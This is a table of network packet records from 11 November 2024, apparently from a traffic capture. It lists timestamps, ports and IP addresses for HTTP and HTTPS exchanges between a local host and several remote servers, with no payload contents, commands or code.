Nov 11, 2024 12:40:29.237143040 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.237155914 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.237159967 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.237174988 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.237195015 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.237202883 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.284065008 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.288957119 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.293993950 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.294023991 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.294081926 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.294110060 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.294137001 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.294156075 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.295152903 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.295171022 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.295241117 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.295252085 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.295510054 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.295876980 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.295941114 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.297493935 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.297514915 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.297557116 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.297565937 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.297595024 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.297607899 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.324474096 CET	443	49890	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:29.324743032 CET	49890	443	192.168.2.6	18.238.49.99
Nov 11, 2024 12:40:29.324755907 CET	443	49890	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:29.325089931 CET	443	49890	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:29.325472116 CET	49890	443	192.168.2.6	18.238.49.99
Nov 11, 2024 12:40:29.325529099 CET	443	49890	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:29.325638056 CET	49890	443	192.168.2.6	18.238.49.99
Nov 11, 2024 12:40:29.337733030 CET	443	49878	40.79.167.8	192.168.2.6
Nov 11, 2024 12:40:29.338006020 CET	49878	443	192.168.2.6	40.79.167.8
Nov 11, 2024 12:40:29.338021040 CET	443	49878	40.79.167.8	192.168.2.6
Nov 11, 2024 12:40:29.339081049 CET	443	49878	40.79.167.8	192.168.2.6
Nov 11, 2024 12:40:29.339143038 CET	49878	443	192.168.2.6	40.79.167.8
Nov 11, 2024 12:40:29.340231895 CET	49878	443	192.168.2.6	40.79.167.8
Nov 11, 2024 12:40:29.340297937 CET	443	49878	40.79.167.8	192.168.2.6
Nov 11, 2024 12:40:29.340399027 CET	49878	443	192.168.2.6	40.79.167.8
Nov 11, 2024 12:40:29.340466976 CET	49878	443	192.168.2.6	40.79.167.8
Nov 11, 2024 12:40:29.340498924 CET	443	49878	40.79.167.8	192.168.2.6
Nov 11, 2024 12:40:29.371330976 CET	443	49890	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:29.374917030 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.374938011 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.375009060 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.375034094 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.375080109 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.375341892 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.375401020 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.375407934 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.375438929 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.375735998 CET	49884	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.375751972 CET	443	49884	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.391906023 CET	49878	443	192.168.2.6	40.79.167.8
Nov 11, 2024 12:40:29.391916990 CET	443	49878	40.79.167.8	192.168.2.6
Nov 11, 2024 12:40:29.413253069 CET	443	49889	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.422535896 CET	443	49890	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:29.422580004 CET	443	49890	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:29.422671080 CET	49890	443	192.168.2.6	18.238.49.99
Nov 11, 2024 12:40:29.442584038 CET	49889	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.442610979 CET	443	49889	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.442991018 CET	443	49889	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.448180914 CET	49889	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.448249102 CET	443	49889	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.450934887 CET	49889	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.454346895 CET	49890	443	192.168.2.6	18.238.49.99
Nov 11, 2024 12:40:29.454356909 CET	443	49890	18.238.49.99	192.168.2.6
Nov 11, 2024 12:40:29.483747005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.483767986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.483778000 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.483789921 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.483853102 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.483887911 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.483910084 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.483939886 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.483946085 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.483956099 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.483994007 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484050989 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484069109 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484081984 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484093904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484111071 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484112024 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484129906 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484136105 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484147072 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484158039 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484160900 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484169960 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484183073 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484193087 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484195948 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484209061 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484221935 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484229088 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484234095 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484247923 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484251976 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484260082 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484272003 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484276056 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484285116 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484294891 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484306097 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484308004 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484318018 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484329939 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484334946 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484344006 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484344959 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484365940 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484400034 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484659910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484690905 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484702110 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484704018 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484713078 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484725952 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484736919 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484741926 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484749079 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484769106 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484771013 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484781027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484788895 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484792948 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484812021 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484822989 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484823942 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484837055 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484849930 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484859943 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484889984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484889984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484905958 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484918118 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.484958887 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.484992027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485003948 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485013962 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485030890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485037088 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485045910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485064983 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485100031 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485129118 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485140085 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485150099 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485162020 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485183001 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485188961 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485192060 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485200882 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485213041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485214949 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485223055 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485234022 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485235929 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485244989 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485255957 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485259056 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485274076 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485285044 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485289097 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485296011 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485301971 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485313892 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485326052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485328913 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485337019 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485347986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485352039 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485359907 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485367060 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485371113 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485383034 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485393047 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485410929 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485418081 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485421896 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485434055 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485440969 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485445023 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485459089 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485467911 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485471010 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485486031 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485491991 CET	443	49894	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.485492945 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485506058 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485510111 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485517025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485522985 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485532045 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485563040 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485574007 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485577106 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485589027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485593081 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485601902 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485615015 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485616922 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485631943 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485637903 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485645056 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485661030 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485663891 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485677958 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485687971 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485687971 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485703945 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485709906 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485723019 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485732079 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485735893 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485745907 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485758066 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485759974 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485776901 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485781908 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485790014 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485801935 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485805035 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485815048 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485817909 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485826969 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485833883 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485840082 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485853910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485858917 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485867023 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485877037 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485884905 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485896111 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485902071 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485907078 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485919952 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485928059 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485932112 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485944033 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485946894 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485946894 CET	443	49891	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.485971928 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.485980988 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.485982895 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.486001015 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.486010075 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.486013889 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.486026049 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.486041069 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.486042976 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.486058950 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.486059904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.486073017 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.486084938 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.486085892 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.486104012 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.486118078 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.486121893 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.486139059 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.486151934 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.486165047 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.486179113 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.486187935 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.486191034 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.486203909 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.486208916 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.486217022 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.486229897 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.486241102 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.486243963 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.486260891 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.486282110 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.486717939 CET	443	49893	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.487432957 CET	49894	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.487462044 CET	443	49894	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.487684965 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.487699986 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.487725019 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.487736940 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.487749100 CET	49891	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.487750053 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.487754107 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.487762928 CET	443	49891	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.487766027 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.487787008 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.487812042 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.488270044 CET	49891	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.488275051 CET	443	49891	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.488316059 CET	49894	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.488323927 CET	443	49894	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.488594055 CET	49893	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.488627911 CET	443	49893	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.488982916 CET	49893	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.489000082 CET	443	49893	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.495098114 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495125055 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495136023 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495146990 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495158911 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495170116 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495171070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495183945 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495202065 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495213032 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495223999 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495227098 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495242119 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495244026 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495254993 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495265961 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495273113 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495279074 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495290041 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495302916 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495307922 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495325089 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495330095 CET	443	49889	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.495335102 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495347977 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495357990 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495362997 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495368958 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495369911 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495383024 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495393038 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495408058 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495428085 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495465040 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495482922 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495495081 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495505095 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495513916 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495526075 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.495531082 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.495537043 CET	80	49827	185.215.113.206	192.168.2.6
